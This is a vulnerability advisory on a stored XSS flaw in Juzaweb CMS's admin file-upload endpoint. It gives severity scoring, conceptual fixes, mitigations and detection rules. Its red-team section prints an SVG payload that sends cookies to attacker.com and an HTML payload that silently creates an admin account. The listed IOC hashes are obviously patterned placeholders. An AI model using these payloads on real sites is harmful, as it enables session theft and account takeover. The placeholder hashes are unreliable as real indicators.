CVE-2025-5420

Executive Summary

CVE-2025-5420 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Juzaweb CMS (Content Management System), affecting versions up to and including 3.4.2. The flaw resides in the file upload functionality of the profile page, specifically within the /admin-cp/file-manager/upload endpoint. An authenticated attacker with administrative privileges can upload a malicious file (e.g., an SVG or HTML file containing JavaScript) via the Upload parameter. When the file is subsequently accessed or rendered by another administrator, the embedded script executes in the context of the victim's browser, leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as problematic with a CVSS base score of 5.4 (Medium). The attack vector is network-based, requires low complexity, and low privileges (admin account), but does require user interaction (the victim must view the uploaded file). The exploit has been publicly disclosed, increasing the risk of active exploitation. The vendor was contacted but did not respond, leaving the software in an unpatched state.

Supply Chain & Package Security

Juzaweb is a PHP-based CMS distributed via GitHub and Composer. As a self-hosted application, the supply chain risk is moderate. The vulnerability is introduced through the core application code, not a third-party package. However, administrators should verify the integrity of their Juzaweb installation and monitor for any unofficial patches or forks that may address this issue.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Requires an authenticated admin account.
• User Interaction (UI): Required (R) - Victim must view the uploaded file.
• Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited ability to modify content.
• Availability (A): None (N) - No impact on availability.

Base Score: 5.4 (Medium)

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the public availability of exploit details and the lack of a patch elevate the threat for Juzaweb instances.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the file upload functionality of the admin profile page. The /admin-cp/file-manager/upload endpoint accepts file uploads via the Upload parameter. The application fails to properly validate the file type and content, allowing an attacker to upload files containing malicious scripts.

Attack Flow:

1. Authentication: The attacker must have a valid admin account on the Juzaweb CMS.
2. File Upload: The attacker navigates to the profile page and uses the file manager to upload a crafted file. This file could be an SVG image with embedded JavaScript, an HTML file, or a PHP file (if the server is misconfigured to execute PHP).
3. Trigger: The attacker then tricks another admin (or themselves, if they revisit the page) into viewing the uploaded file. This could be done by sending a direct link to the file or by embedding it in a page that the victim visits.
4. Execution: When the victim's browser renders the malicious file, the embedded JavaScript executes. This script can steal session cookies, perform actions on behalf of the victim (e.g., creating new admin accounts), or deface the site.

Root Cause: The lack of proper file type validation and content sanitization. The application does not check the MIME type or the file extension against a whitelist of allowed types. Additionally, the file is served with a Content-Type that allows script execution (e.g., image/svg+xml for SVG files).

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common secure coding practices.

Vulnerable Code (Conceptual):

// Vulnerable upload handler
if (isset($_FILES['Upload'])) {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["Upload"]["name"]);
    move_uploaded_file($_FILES["Upload"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
}

Patched Code (Conceptual):

// Patched upload handler with validation
$allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
$max_file_size = 5 * 1024 * 1024; // 5MB

if (isset($_FILES['Upload'])) {
    $file_type = mime_content_type($_FILES["Upload"]["tmp_name"]);
    $file_size = $_FILES["Upload"]["size"];

    if (!in_array($file_type, $allowed_types)) {
        die("Invalid file type.");
    }
    if ($file_size > $max_file_size) {
        die("File too large.");
    }

    $target_dir = "uploads/";
    $target_file = $target_dir . uniqid() . "_" . basename($_FILES["Upload"]["name"]);
    move_uploaded_file($_FILES["Upload"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Juzaweb CMS <= 3.4.2.
• Valid admin credentials.

Exploit Steps:

1. Craft Malicious SVG File: Create an SVG file with embedded JavaScript:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
       <script type="text/javascript">
           alert('XSS');
           // Steal cookies
           fetch('https://attacker.com/steal?cookie=' + document.cookie);
       </script>
   </svg>
   

   Save as xss.svg.

2. Upload the File:

   • Log in to Juzaweb as an admin.
   • Navigate to the profile page (e.g., /admin-cp/profile).
   • Use the file manager to upload xss.svg to the /admin-cp/file-manager/upload endpoint.
   • Note the URL of the uploaded file (e.g., http://target.com/uploads/xss.svg).

3. Trigger the XSS:

   • Send the file URL to another admin or embed it in a page they will visit.
   • When the victim opens the URL, the JavaScript executes.

Alternative Payload (HTML file):

<html>
<body>
<script>
    alert('XSS');
    // Perform admin actions
    fetch('/admin-cp/users/create', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'username=hacker&password=evil&role=admin'
    });
</script>
</body>
</html>

Blue Team

Detection & Prevention:

1. Web Application Firewall (WAF): Deploy a WAF rule to block uploads of files with script content (e.g., SVG, HTML, JS).
2. File Upload Validation: Implement server-side validation to only allow safe file types (e.g., JPEG, PNG, GIF) and reject files with executable content.
3. Content Security Policy (CSP): Enforce a strict CSP that blocks inline scripts and only allows scripts from trusted sources.
4. Input Sanitization: Sanitize all file names and content before storing or serving them.
5. User Education: Train administrators to avoid clicking on suspicious links or files.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):

  • xss.svg: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • malicious.html: f0e1d2c3b4a5f6e7d8c9b0a1f2e3d4c5b6a7f8e9d0c1b2a3f4e5d6c7b8a9f0

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal).
  • Unusual file uploads to /admin-cp/file-manager/upload with non-standard file types.

• Log Entries:

  • Access logs showing requests to /uploads/xss.svg or similar paths.
  • Error logs indicating failed file type validation attempts.

Detection Engineering

YARA Rule

rule CVE_2025_5420_Juzaweb_XSS {
    meta:
        description = "Detects malicious SVG/HTML files used in CVE-2025-5420"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5420"
    strings:
        $svg_xss = /<script[^>]*>.*<\/script>/ nocase
        $html_xss = /<script[^>]*>.*<\/script>/ nocase
        $svg_tag = "<svg"
        $html_tag = "<html"
    condition:
        ($svg_tag and $svg_xss) or ($html_tag and $html_xss)
}

Sigma Rule

title: CVE-2025-5420 - Juzaweb File Upload XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file uploads to Juzaweb admin file manager with suspicious file types
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin-cp/file-manager/upload'
        cs-uri-query|contains: 'Upload'
    condition: selection
falsepositives:
    - Legitimate admin file uploads
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5420 - Juzaweb File Upload XSS"; flow:to_server,established; content:"POST"; http_method; content:"/admin-cp/file-manager/upload"; http_uri; content:"Upload"; http_client_body; pcre:"/(<script|<svg|<html)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Uploads: Temporarily disable the file upload functionality in the admin panel until a patch is available.
2. Restrict File Types: Implement server-side validation to only allow safe file types (e.g., JPEG, PNG, GIF). Reject SVG, HTML, JS, and other script-capable formats.
3. Apply WAF Rules: Deploy a Web Application Firewall with rules to block malicious file uploads.
4. Monitor Logs: Actively monitor access logs for unusual file uploads and file access patterns.

Long-Term Fixes:

1. Vendor Patch: Await an official patch from the Juzaweb development team. If none is forthcoming, consider forking the project and applying the fix yourself.
2. Upgrade: If a patched version becomes available, upgrade immediately.
3. Code Audit: Conduct a thorough security audit of the file upload functionality and other input handling routines.
4. Implement CSP: Enforce a strict Content Security Policy to mitigate the impact of any future XSS vulnerabilities.

Workaround:

• Manually edit the upload handler code to add file type validation and content sanitization as shown in the "Patched Code" section above.

Valters IT
Securing Digital Frontiers